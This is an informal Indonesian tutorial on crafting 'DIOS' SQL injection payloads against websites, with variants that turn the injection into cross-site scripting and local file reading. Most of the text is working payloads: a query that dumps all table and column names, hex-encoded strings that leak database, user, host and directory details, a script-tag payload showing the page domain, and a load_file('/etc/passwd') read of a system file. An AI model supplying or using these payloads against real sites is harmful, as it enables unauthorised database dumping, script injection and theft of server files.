Dios

 Assalamualaikum

Kali ini gw mau ngasih tutor cara buat dios sql

Sql to xss

Sql to lfi

Sql injection

(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)

'<img src="link gambar kamu" height="300px" width="300px">'

Buat gambarnya 👆

load_file('/etc/passwd')

<script>prompt(" ")</script>

Kita ubah dulu ke kode hex

Buat pemisah=

Buat sql biasa --> <br>

Buat xss --> \n

Eh maaf garisnya kebalik

Nah kalo mau buat xss pemisahnya itu

Kita mulai aja

Hasil jadi dios sql biasa=

concat(0x494e4a454354494f4e204259204c4f4c204e4557424945,0x3c62723e,'<img src="https://i.top4top.io/p_1888is2ri0.jpg" height="300px" width="300px">',0x3c62723e,database(),0x3c62723e,version(),0x3c62723e,user(),0x3c62723e,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x))

Oh iya lupa gw kasih pemisah

Okh dah jadi

Kita buat nick dulu nick --> hex

Nah udah jadi kaliam tinggal tambahin 0x di depannkode hex tadi

Buat pisahin nya kalian pakai

Sekarang kita buat dios sql to xss nya ya

Simak

Hasil jadi dios sql to xss=

Concat(0x3c7363726970743e70726f6d70742822,0x496e6a6563746564204279202e2f4c4f4c204e4557424945,0x5c6e,0x544f4441593a3e,sysdate(),0x5c6e,0x5c6e,0x44415441424153453a3e,database(),0x5c6e,0x555345523a3e,current_user,0x3c62723e,0x56455253494f4e3a3e,version(),0x5c6e,0x504c5547494e3a3e,@@plugin_dir,0x5c6e,0x53594d4c494e4b3a3e,@@GLOBAL.have_symlink,0x5c6e,0x484f53544e414d453a3e,@@hostname,0x5c6e,0x444154414449523a3e,@@datadir,0x5c6e,0x555549443a3e,uuid(),0x5c6e,0x53534c3a3e,@@global.have_ssl,0x5c6e,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x),0x222c646f63756d656e742e646f6d61696e293c2f7363726970743e)

Skip ae dah lupa. Gw

Entar gw kasij yang udah jadinya aja

Lanjut yang lfi

Sama aja kek dios biasa cuman di ubah payloads

concat(0x494e4a454354494f4e204259204c4f4c204e4557424945,0x3c62723e,'<img src="https://i.top4top.io/p_1888is2ri0.jpg" height="300px" width="300px">',0x3c62723e,database(),0x3c62723e,version(),0x3c62723e,user(),0x3c62723e,load_file('/etc/passwd'))

Kita tes lagi yang lfi

Okh kita tes aja 1 1 diosnya